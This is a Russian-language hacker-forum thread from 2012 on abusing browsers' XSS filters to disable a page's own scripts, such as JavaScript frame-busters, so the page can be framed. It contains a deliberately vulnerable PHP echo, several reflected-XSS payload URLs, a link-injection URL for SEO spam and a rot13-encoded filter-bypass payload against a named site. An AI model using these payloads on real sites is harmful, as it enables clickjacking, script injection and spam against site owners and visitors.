Использование защиты от XSS в корыстных целях

Discussion in 'PHP' started by scanislav, 6 Nov 2012.

  1. scanislav

    scanislav Elder - Старейшина

    Joined:
    25 Jun 2010
    Messages:
    87
    Likes Received:
    22
    Reputations:
    31
    XSS - популярейший метод атаки, и изготовители браузеров решили, что надо что-то с этим делать, раз авторы вебсайтов совершенно не фильтруют базар, то есть запросы. Так в современных браузерах появилась встроенная защита от пассивного XSS. Принцип простой - если на странице появляется код, подозрительно похожий на содержимое запроса, то генерируется ошибка и код не исполняется.

    Попробуйте создать такую страницу xss.php
    PHP:
    echo $_GET['x'];
    и провести XSS:
    http://site.com/xss.php?x=%3Cscript%3Ealert(%22xss%22)%3C%2Fscript%3E

    Браузер, если он достаточно новый, бросит ошибку и никаких алертов не появится.

    Ну и славно. Если вдуматься, браузер же не знает, что это на самом деле параметр высветился. Он только сравнивает что послано, и что обратно приехало. Этим мы можем воспользоваться чтоб отключать чужие скрипты со страницы.

    Например, пусть на странице site.com/page.php есть например скрипт:
    HTML:
    <script>document.write("hello");</script>
    Передадим ей поддельный параметром:
    PHP:
    http://site.com/page.php?xss=%3Cscript%3Edocument.write(%22hello%22)%3B%3C%2Fscript%3E
    hello внезапно изчезнет. Куул :cool:

    Какой в этом профит? Зависит от фантазии, но простейший наверное вариант - борьба с iframe buster-ами, скриптами не дающими заключать страницу в iframe. Выглядят они приблизительно так:

    site.com/index.php
    HTML:
    ...
    <script>if(top!=self)top.location.href=self.location.href;</script>
    Ответный ход:
    HTML:
    <iframe src="http://site.com/index.php?xss=%3Cscript%3Eif(top!%3Dself)top.location.href%3Dself.location.href%3B%3C%2Fscript%3E"></iframe>
    ...и золотой ключик у нас в кармане ;)
     
    1 person likes this.
  2. justonline

    justonline network ninja

    Joined:
    27 Jul 2011
    Messages:
    499
    Likes Received:
    60
    Reputations:
    53
    1. мне казалось, что это вполне очевидно и не ново.
    2. Защита от фреймов на js - примитив. Ставится header и все :)
     
  3. scanislav

    scanislav Elder - Старейшина

    Joined:
    25 Jun 2010
    Messages:
    87
    Likes Received:
    22
    Reputations:
    31
    Это статья для новичков, авось кому пригодится. Совершенно на приоритет не претендую.

    Про X-Frame-Options я в курсе, да :)
     
  4. Romaxa55

    Romaxa55 Banned

    Joined:
    19 Oct 2005
    Messages:
    144
    Likes Received:
    30
    Reputations:
    4
    а обратный вопрос, помимо перехвата куков, какие можно полезные действия произвести в плане сео, да так, чтоб не агрессивно, может коммерческие варианты вплывающих окон есть?
     
  5. Trinux

    Trinux Members of Antichat

    Joined:
    26 Nov 2004
    Messages:
    1,403
    Likes Received:
    296
    Reputations:
    364
    Давным давно мы улыбались от xss на aport.ru, и запросом типа aport.ru/search?q='><a href="http://nnm.ru">скачать программы</a> ))) но сейчас яндыксы и гуглы в курсе о таком.
     
    _________________________
  6. scanislav

    scanislav Elder - Старейшина

    Joined:
    25 Jun 2010
    Messages:
    87
    Likes Received:
    22
    Reputations:
    31
    Пока рано отчаиваться. rot13 еще проходит

    http://www.rot13.com/index.php?text=%3C%2Fgrkgnern%3E%3Cfpevcg%3Enyreg%280%29%3C%2Ffpevcg%3E
     
Loading...
Similar Threads - Использование защиты корыстных
  1. GAiN
    Replies:
    3
    Views:
    7,863